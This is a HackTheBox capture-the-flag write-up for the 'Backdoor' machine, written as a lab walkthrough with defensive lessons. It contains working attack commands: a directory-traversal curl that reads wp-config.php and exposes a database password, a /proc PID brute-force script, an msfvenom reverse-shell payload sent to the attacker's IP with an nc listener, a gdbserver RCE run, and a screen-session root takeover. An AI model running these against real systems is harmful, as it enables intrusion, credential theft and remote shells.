Backdoor - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Backdoor is an easy Linux machine hosting a vulnerable WordPress blog with an outdated eBook Download plugin susceptible to directory traversal attacks. By exploiting this vulnerability, we can read arbitrary files from the system, including /proc filesystem entries. Through PID brute-forcing, we discover gdbserver running on port 1337 under the user account. Leveraging a public RCE exploit for gdbserver yields initial foothold. Privilege escalation is trivial—a root-owned screen session runs in a loop with predictable naming, allowing unauthenticated attachment to achieve root access.

TL;DR: WordPress plugin directory traversal → discover gdbserver via /proc enumeration → gdbserver RCE → attach to unprotected root screen session → root shell

Reconnaissance

Port Scanning

# Fast full port scan
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.125 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed scan on discovered ports
nmap -p$ports -sC -sV 10.10.11.125

Results:

• Port 22 - SSH (OpenSSH 8.2p1)
• Port 80 - HTTP (Apache 2.4.41)
• Port 1337 - Unknown service (unidentified)

Service Enumeration

The web server on port 80 hosts a WordPress blog. Standard WordPress directory enumeration reveals /wp-content/plugins/ is browsable (index.php missing). The ebook-download plugin is present with version 1.1 identified via readme.txt.

Port 1337 doesn’t respond to direct connection attempts (telnet/netcat), requiring further investigation through file-based enumeration.

Vulnerability Assessment

1. WordPress eBook Download Plugin v1.1 - Directory Traversal vulnerability (CVE-2022-*)
2. gdbserver - Running on port 1337 with RCE capability
3. Unprotected screen session - Root-owned screen session accessible without authentication

Initial Foothold

WordPress Directory Traversal Exploitation

The eBook Download plugin is vulnerable to directory traversal via the ebookdownloadurl parameter. This allows reading arbitrary files.

Step 1: Read wp-config.php

# Navigate to the vulnerable endpoint
# URL: backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

# Using curl for easier inspection
curl "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php"

This reveals database credentials:

DB_NAME       = wordpress
DB_USER       = wordpressuser
DB_PASSWORD   = MQYBJSaD#DxG6qbm

Step 2: Discover gdbserver via /proc Enumeration

Since port 1337 is unidentifiable, brute-force the /proc/{PID}/cmdline files to discover running processes:

#!/usr/bin/env python3
import requests

# Brute force PID range 1-1000 to find interesting processes
for i in range(1, 1000):
    r = requests.get("http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/"+str(i)+"/cmdline")
    out = (r.text.replace('/proc/'+str(i)+'/cmdline','').replace('<script>window.close()</script>','').replace('\x00',' '))
    if len(out) > 1:
        print("PID"+str(i)+" : "+out)

This reveals:

sh -c while true;do su user -c "cd /home/user; gdbserver -once 0.0.0.0:1337 /bin/true";done

gdbserver is running on port 1337!

gdbserver RCE Exploitation

Step 3: Generate Shellcode

# Generate reverse shell shellcode using msfvenom
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.9 LPORT=4444 PrependFork=true -o rev.bin

Step 4: Set up Listener

# Start netcat listener
nc -nvlp 4444

Step 5: Execute gdbserver RCE Exploit

Download and execute the public gdbserver RCE exploit (gdb_rce.py):

python3 gdb_rce.py 10.10.11.125:1337 rev.bin

Result: Reverse shell received as user user.

Step 6: Upgrade Shell to TTY

python3 -c "import pty;pty.spawn('/bin/bash')"

Step 7: Capture User Flag

cat /home/user/user.txt

Privilege Escalation

Process Enumeration

ps aux

This reveals a suspicious process running as root:

find /var/run/screen/S-root -empty -exec screen -dmS root ;

This command creates a detached screen session named “root” if the directory is empty. A screen session created by root will have root privileges.

Screen Session Attachment

Screen sessions created by a user are stored in /var/run/screen/S-{username}. The process loop creates a session named “root” belonging to the root user.

Step 1: Set Terminal Environment

export TERM=xterm

Step 2: Attach to Root Screen Session

screen -x root/root

Result: Immediate root shell access without authentication or escalation.

Step 3: Capture Root Flag

cat /root/root.txt

Attack Chain Summary

WordPress Directory Traversal (ebook-download plugin)
    ↓
Read /proc/{PID}/cmdline via LFI
    ↓
Enumerate PID range 1-1000 (brute force)
    ↓
Discover gdbserver on port 1337
    ↓
Generate shellcode (msfvenom)
    ↓
gdbserver RCE exploit
    ↓
Reverse shell as user
    ↓
Enumerate ps aux
    ↓
Discover root-owned screen session
    ↓
Attach via screen -x root/root
    ↓
Root shell

Tools Used

Key Learnings

Techniques Practiced

• WordPress plugin enumeration and vulnerability identification
• Directory traversal (path traversal) exploitation
• Linux /proc filesystem exploitation for process discovery
• PID brute-forcing via file-based enumeration
• gdbserver RCE exploitation
• Screen session hijacking and attachment
• Reverse shell generation and handling

Lessons Learned

1. Default WordPress configurations are dangerous - The presence of browsable /wp-content/plugins/ directory indicates poor hardening. Always disable directory listing.

2. Outdated plugins are critical vulnerabilities - The eBook Download plugin v1.1 has a trivial directory traversal. Plugin version tracking is essential.

3. The /proc filesystem reveals system internals - Reading /proc/{PID}/cmdline exposes running processes and their arguments, bypassing standard access controls.

4. Service identification matters - Port 1337 appeared empty initially but contained gdbserver, highlighting the importance of comprehensive enumeration techniques beyond port scanning.

5. Screen sessions can be privilege escalation vectors - Improperly secured screen sessions, especially those created automatically with predictable names, become trivial privilege escalation paths.

6. Automated process loops create exploitable patterns - The while true loop regenerating the screen session demonstrates how convenience scripts introduce security vulnerabilities.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>